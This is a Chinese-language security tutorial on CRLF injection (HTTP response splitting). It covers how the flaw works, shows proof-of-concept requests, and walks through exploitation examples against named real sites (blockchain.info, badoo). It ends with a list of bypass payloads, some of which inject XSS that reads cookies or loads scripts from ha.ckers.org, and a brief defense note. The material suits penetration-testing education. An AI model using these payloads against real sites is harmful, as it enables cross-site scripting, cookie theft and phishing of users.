CRLF攻击原理介绍和使用

注意：本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。

[TOC]

0x00 前言介绍

描述:我们知道HTTP报文的结构：状态行和首部中的每行以CRLF结束，首部与主体之间由一空行分隔。或者理解为首部最后一个字段有两个CRLF首部和主体由两个CRLF分隔。

CRLF(Carriage-Return Line-Feed-回车换行)注入漏洞是因为Web应用没有对用户输入做严格验证，导致攻击者可以输入一些恶意字符。

攻击者一旦向请求行或首部中的字段注入恶意的CRLF，就能注入一些首部字段或报文主体，并在响应中输出，所以又称为HTTP响应拆分漏洞（HTTP Response Splitting）。
CRLF的概念源自打字机，表明行的结束，计算机出现后沿用了这个概念。
回车(CR, ASCII 13, r) 换行(LF, ASCII 10, n)，CRLF字符（%0d%0a）CRLF也被称为HTML拆分。

代码	ASCII码	符号	概念
CR	13	r	光标移到行首
LF	10	n	光标垂直移到下行
CRLF		%0d%0a

注意:但是不同的操作系统行的结束符是不一样的,所以同一文件在不同操作系统中打开，内容格式可能会出现差异，这是行结束符不一致导致的。

Windows：使用CRLF表示行的结束
Linux/Unix：使用LF表示行的结束
MacOS：早期使用CR表示，现在好像也用LF表示行的结束

在HTTP规范中，行应该使用CRLF来结束。首部与主体由两个CRLF分隔，浏览器根据这两个CRLF来获取HTTP内容并显示。

0x01 CRLF漏洞原理

描述：CRLF注入漏洞的本质和XSS有点相似，攻击者将恶意数据发送给易受攻击的Web应用程序，Web应用程序将恶意数据输出在HTTP响应头中。（XSS一般输出在主体中）所以CRLF注入漏洞的检测也和XSS漏洞的检测差不多。通过修改HTTP参数或URL，注入恶意的CRLF，查看构造的恶意数据是否在响应头中输出。

原理1：找到输入点，构造恶意的CRLF字符 描述:header可控的请求我们就可以尝试进行CRLF注入作为演示

#现在HTTP标头中的每一行都由CRLF分隔（如前所述，这是不可打印的ASCII字符）。
#Request [CRLF]
GET /test/demo.php?url=https://weiyigeek.github.io [CRLF]
Host: 127.0.0.1 [CRLF]
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 [CRLF]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 [CRLF]
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  [CRLF]
Accept-Encoding: gzip, deflate [CRLF]


#Response
HTTP/1.1 200 OK [CRLF]
Connection: keep-alive [CRLF]
Content-Encoding: deflate [CRLF]
Locations=https://weiyigeek.github.io [CRLF]

抓包在请求行的url参数中加入特殊构造的CRLF字符,查看恶意数据是否在响应头中多了个Set-Cookie字段，如果证实了该系统存在CRLF注入漏洞就可以进行下一步；

WeiyiGeek.

构造POC:

%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a<script>alert(1)</script>

请求上面的POC后的响应头,触发我们的js并弹窗这也就是最简单的一次crlf注入

#Content-Length：0 代表header 的结尾返回包会变成这个样子
HTTP/1.1 200 OK
Connection: keep-alive
Content-Encoding: deflate
Locations=https://baidu.com
Content-Length: 0
<script>alert(1)</script>

0x02 CRLF漏洞利用

描述:我们在渗透测试过程中可以寻找我们可控返回包header的请求;

示例1.区块链中的CRLF注入

#当我浏览网站时，发现了一个可以下载JSON和CSV格式的图表数据的地方。
GET /charts/total-bitcoins?cors=true&format=csv&lang=english HTTP/1.1
Host: api.blockchain.info
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Connection: keep-alive
Upgrade-Insecure-Requests: 1

#注意最后的lang请求参数并将其更改为“ lang = english”,这时候响应标头有所不同
HTTP/2.0 200 OK
date: Tue, 31 Oct 2017 15:47:21 GMT
content-type: text/csv; charset=ascii
content-length: 10953
access-control-allow-origin: *
cache-control: public, max-age=60
content-disposition: attachment; filename="total-bitcoins.csv"
content-language: english


#验证检查是否可以添加“ CRLF”并添加自己的响应头，以检查是否插入了“ CRLF”(必须对其进行URL编码),发送请求时 r  n的URL编码为“%0D%0A”
https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en%0ATEST    #在返回包里面发现响应头TEST


#利用CRLF漏洞去执行JavaScript代码，去盗取cookie或构筑钓鱼页面
https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en%0AX-XSS-Protection:0%0AContent-Type:text/html%0AContent-Length:35%0A%0A% 3Csvg%20onload%3Dalert%28document.domain%29%3E＆__ cf_waf_tk __ = 012853002E6loVIOSyqHfdxrvHJ87MshEnZI

示例2: 路径作为HEADER返回包的响应头;

#其实利用方法与上面的大致一致,不同的是出现的缺陷的位置值得注意
http://test.com/demo/HEADER  #HEADER会出现在header中

HTTP/2.0 200 OK
date: Tue, 31 Oct 2017 15:47:21 GMT
Localtion: HEADER

示例3:值得学习的利用跳转XSS

#请求
https://team.badoo.com/%0d%0adata:text/html;text,%3Csvg%2fonload%3Dprompt%281%29%3E

#返回的头
Location: data:text/html;text,%3Csvg%2fonload%3Dprompt%281%29%3E

0x03 CRLF绕过

补充附录：

挖掘CRLF漏洞和bypass安全检测

%0d%0a
%0d%0a%0d%0a
r%0d%0aContentLength:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0d%0aContentLength:%2019%0d%0a%0d%0a<html>Injected%02Content</html>
%0d%0d%0a%0a
0x0D0x0A
0x0D0x0D0x0A0x0A
rn
%5cr%5cn
%0%0d%0ad%0%0d%0aa
%0%0D%0AD%0%0D%0AA
%0d%0aContentType:%20text/html;charset=UTF-7%0d%0aContent-Length:%20129%0d%0a%0d%0a%2BADw-html%2BAD4-%2BADw-body%2BAD4-%2BADw-script%2BAD4-alert%28%27XSS,cookies:%27%2Bdocument.cookie%29%2BADw-/script%2BAD4-%2BADw-/body%2BAD4-%2BADw-/html%2BAD4
%0AContent-Type:html%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
%0AContent-Type:html%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3Ehttp://www.test.com
%0d%0a%0d%0a%3Chtml%3E%3Cbody%3E%3C%2Fbody%3E%3Cscript+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fs.js%3E%3C%2Fscript%3E%3Cscript%3Ealert(%22location.host%20is:%20%22%2Blocation.host)%3C%2Fscript%3E%3C%2Fhtml%3E
%0d%0a%0d%0a%3Cscript+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fxss.js%3E%3C%2Fscript%3E
%22%3E%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E%3C%22
%0AContent-type:%20text/html%0A%0Ahttp://www.test.com/%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
%0d%0a%0d%0a%3Cscript%3Ealert(%22XSS%22)%3C%2Fscript%3E
%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E

0x04 安全防御

漏洞修复关键点: 过滤 r 、n 之类的行结束符，避免输入的数据污染其他 HTTP 首部字段。